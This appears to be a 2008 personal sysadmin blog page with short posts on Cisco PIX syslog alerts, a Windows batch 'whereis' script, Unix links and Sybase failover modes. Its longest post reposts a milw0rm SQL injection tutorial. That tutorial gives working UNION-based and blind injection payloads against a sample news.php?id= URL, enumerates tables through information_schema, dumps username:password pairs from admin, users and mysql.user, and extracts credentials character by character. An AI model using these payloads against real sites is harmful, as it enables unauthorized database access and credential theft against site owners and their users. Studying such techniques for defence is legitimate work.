Wednesday, December 24, 2008

Alerts—Syslog Severity Level 1 Messages

Level and Message NumberMessage Text
%PIX-1-101001(Primary) Failover cable OK.
%PIX-1-101002(Primary) Bad failover cable.
%PIX-1-101003(Primary) Failover cable not connected (this unit).
%PIX-1-101004(Primary) Failover cable not connected (other unit).
%PIX-1-101005(Primary) Error reading failover cable status.
%PIX-1-102001(Primary) Power failure/system reload other side.
%PIX-1-103001(Primary) No response from other firewall (reason code =code).
%PIX-1-103002(Primary) Other firewall network interface interface_numberOK.
%PIX-1-103003(Primary) Other firewall network interface interface_numberfailed.
%PIX-1-103004(Primary) Other firewall reports this firewall failed.
%PIX-1-103005(Primary) Other firewall reporting failure.
%PIX-1-103011Unknown message text. (7.0)
%PIX-1-104001(Primary) Switching to ACTIVE (cause: string).
%PIX-1-104002(Primary) Switching to STNDBY (cause: string).
%PIX-1-104003(Primary) Switching to FAILED.
%PIX-1-104004(Primary) Switching to OK.
%PIX-1-105001(Primary) Disabling failover.
%PIX-1-105002(Primary) Enabling failover.
%PIX-1-105003(Primary) Monitoring on interface interface_name waiting.
%PIX-1-105004(Primary) Monitoring on interface interface_name normal.
%PIX-1-105005(Primary) Lost failover communications with mate on interfaceinterface_name.
%PIX-1-105006(Primary) Link status 'Up' on interface interface_name.
%PIX-1-105007(Primary) Link status 'Down' on interface interface_name.
%PIX-1-105008(Primary) Testing interface interface_name.
%PIX-1-105009(Primary) Testing on interface interface_name {Passed | Failed}.
%PIX-1-105011(Primary) Failover cable communication failure.
%PIX-1-105020(Primary) Incomplete/slow config replication.
%PIX-1-105031Failover LAN interface is up.
%PIX-1-105032LAN failover interface is down.
%PIX-1-105033Unknown message text. (7.0)
%PIX-1-105034Receive a LAN_FAILOVER_UP message from peer.
%PIX-1-105035Receive a LAN failover interface down message from a peer.
%PIX-1-105036PIX dropped a LAN failover command message.
%PIX-1-105037The primary and standby units are switching back and forth as the active unit.
%PIX-1-105038(Primary) Interface count mismatch. (7.0)
%PIX-1-105039(Primary) Unable to verify the interface count with mate. Failover may be disabled in mate. (7.0)
%PIX-1-105040(Primary) Mate failover version is not compatible. (7.0)
%PIX-1-105041Unknown message text. (7.0)
%PIX-1-105042(Primary) Failover interface OK. (7.0)
%PIX-1-105043(Primary) Failover interface failed. (7.0)
%PIX-1-105044(Primary) Mate operational mode mode is not compatible with my mode mode. (7.0)
%PIX-1-105045Primary) Mate license (number contexts) is not compatible with my license (number contexts). (7.0)
%PIX-1-105046(Primary | Secondary) Mate has a different chassis. (7.0)
%PIX-1-105047Mate has an io_card_name1 card in slot slot_number that is different from my io_card_name2. (7.0)
%PIX-1-106004Unknown message text. (7.0)
%PIX-1-106005Unknown message text. (7.0)
%PIX-1-106008Unknown message text. (7.0)
%PIX-1-106021Deny protocol reverse path check from source_address todest_address on interface interface_name.
%PIX-1-106022Deny protocol connection spoof from source_address todest_address on interface interface_name.
%PIX-1-106101The number of ACL log deny-flows has reached limit (number).
%PIX-1-107001RIP auth failed from IP_address.
%PIX-1-107002RIP pkt failed from IP_address.
%PIX-1-108001Unknown message text. (7.0)
%PIX-1-109004Unknown message text. (7.0)
%PIX-1-111002Begin configuration: IP_address writing to device. (7.0)
%PIX-1-111111error_message. (7.0: System or infrastructure error has occurred)
%PIX-1-415001:internal_sig_id HTTP Tunnel detected—action tunnel_typefrom src_ip to dest_ip. (7.0)
%PIX-1-415002:internal_sig_id HTTP Instant Messenger detected—action instant_messenger_type from src_ip to dest_ip. (7.0)
%PIX-1-415003:internal_sig_id HTTP Peer-to-Peer detected—action instant_messenger_type from src_ip to dest_ip. (7.0)
%PIX-1-415004:internal_sig_id Content type not found—action Content Verification Failed from src_ip to dest_ip. (7.0)
%PIX-1-415006:internal_sig_id Content size size out of range—action mime_type from src_ip to dest_ip. (7.0)
%PIX-1-415007:internal_sig_id HTTP Extension method illegal—action'method_name' from src_ip to dest_ip. (7.0)
%PIX-1-415008:internal_sig_id HTTP RFC method illegal—action'method_name' from src_ip to dest_ip. (7.0)
%PIX-1-415009:internal_sig_id HTTP Header length exceeded. Receivedlength byte Header—action header length exceeded fromsrc_ip to dest_ip. (7.0)
%PIX-1-415010:internal_sig_id HTTP protocol violation detected—action HTTP Protocol not detected from src_ip to dest_ip. (7.0)
%PIX-1-415011:internal_sig_id HTTP URL Length exceeded. Received sizebyte URL—action URI length exceeded from src_ip to dest_ip. (7.0)
%PIX-1-415012:internal_sig_id HTTP Deobfuscation signature detected—action HTTP deobfuscation detected IDS evasion technique from src_ip to src_ip. (7.0)
%PIX-1-415013:internal_sig_id HTTP Transfer encoding violation detected—action Xfer_encode Transfer encoding not allowed fromsrc_ip to dest_ip. (7.0)
%PIX-1-415014:internal_sig_id Maximum of 10 unanswered HTTP requests exceeded from src_ip to dest_ip. (7.0)
%PIX-1-709003(Primary) Beginning configuration replication—Receiving from mate.
%PIX-1-709004(Primary) End Configuration Replication (ACT).
%PIX-1-709005(Primary) Beginning configuration replication—Receiving from mate.
%PIX-1-709006(Primary) End Configuration Replication (STB).
%PIX-1-713900Descriptive_event_string. (7.0: A message with several possible text strings describing a serious event or failure)
%PIX-1-715039Unexpected cleanup of tunnel table entry during SA delete. (7.0)

Troubleshooting firewall errors

Troubleshooting FW-1 by Phoneboy

Monday, December 15, 2008

Windows whereis

Save this script into whereis.bat, copy it into executable folder such as c:\windows

@echo off

setlocal
set FOUNDFLAG=0

:# Add the current directory to the path for duration of this program only.
set PATH=%PATH%;.

if exist "%~$PATH:1" ( echo Found at %~$PATH:1  && set FOUNDFLAG=1)

:# We want to look for each of the possible extensions that could be executed.
:# Replace . with space.
set SPEC=%PATHEXT:.= %

:# Replace ; with nothing.
set SPEC=%SPEC:;=%

:#Iterate across extensions, checking for each one on the path.
for %%a in (%SPEC%) do call :CHECK %1.%%a

goto :CLEANUP


:CHECK

if exist "%~$PATH:1" ( echo Found at %~$PATH:1 && set FOUNDFLAG=1 )

goto :EOF

:CLEANUP
if not %FOUNDFLAG% == 1 echo No runnable file found for %1
endlocal
goto :EOF

Sunday, December 14, 2008

Learn Unix/Linux system in 10 minutes ...

Want to learn Unix in 10 minutes?

http://freeengineer.org/learnUNIXin10minutes.html

Unix command summary, credit to University of Utah

For basic tutorial in Malay, I made a copy from Trunasuci to make sure it available for everyone..

http://adlinux.blogdrive.com/

credit to Mr Arafat aka Trunasuci for the great tutorial … My first Redhat Linux installation a couple years ago was done by referring to this tutorial.

Who am I?

Saturday, November 8, 2008

Differences between active-active and active-passive


Table 1-1: Difference between active-active and active-passive

Active-active

Active-passive

Setup: Two Adaptive Servers are configured as companion servers, each with independent workloads. These companions run on the primary and secondary nodes, respectively, as individual servers until one fails over.

Setup: A single Adaptive Server runs either on the primary node or on the secondary node. The Adaptive Server runs on the primary node before a fail over and the secondary node after fail over.

Failover: When fail over occurs, the secondary companion takes over the devices, client connections, and so on from the primary companion. The secondary companion services the failed-over clients, as well as any new clients, until the primary companion fails back and resumes its activities.

Failover: When a system fails over, the Adaptive Server and its associated resources are relocated to, and restarted on, the secondary node.

Failback: Failback is a planned event during which the primary companion takes back its devices and client connections from the secondary companion to resume its services.

Failback: Failback is a planned fail over or relocation of the Adaptive Server and its resources to the primary node. Failback is not required, but can be done for administrative purposes.

Client Connection failover: During failover, clients connect to the secondary companion to resubmit their uncommitted transactions. During failback, clients connect to the primary companion to resubmit their transactions. Clients with the failover property reestablish their connections automatically.

Client Connection failover: During failover and failback, clients connect to the same Adaptive Server to resubmit uncommitted transactions. Clients with the failover property reestablish their connections automatically.

excerpt from http://infocenter.sybase.com/help/index.jsp?topic=/com.sybase.help.ase_15.0.ha_avail/html/ha_avail/ha_avail3.htm

Wednesday, October 29, 2008

GNS3 - The Journey of Cisco PIX Firewall / Graphical Network Simulator


Well, start with manually install the Microsoft Loopback adapter in Windows XP


http://support.microsoft.com/kb/839013

Sunday, May 25, 2008

MySQL Injection Tutorial by Marezzi (Modified version by me)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


A.SQL Injection (classic or error based or whatever you call it) :D

1). Check for vulnerability
2). Find the number of columns
3). Check for UNION function
4). Check for MySQL version
5). Getting table and column name
6). MySQL 5


B.Blind SQL Injection (the harder part)


So let's start with some action :D

A.SQL Injection (classic or error based or whatever you call it) :D

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar


that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error http://www.site.com/news.php?id=5 order by 2/* <-- no error http://www.site.com/news.php?id=5 order by 3/* <-- no error http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it :)

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version :D

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen.

***Edited*** Another way to get list of table names is ***

http://www.site.com/news.php?id=5 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()


***Done***

Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part :)



B. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test http://www.site.com/news.php?id=5 and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection. 1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR :D



Hope you learned something from this paper.


Have FUN! (:


To be continued and updated...


marezzi@gmail.com

[18 April 2008]

# milw0rm.com [2008-05-22]

Reference:
http://www.milw0rm.com/papers/202
http://www.milw0rm.com/author/1461

Others
http://websecurity.ro/blog/2007/12/17/sql-injection-guide/

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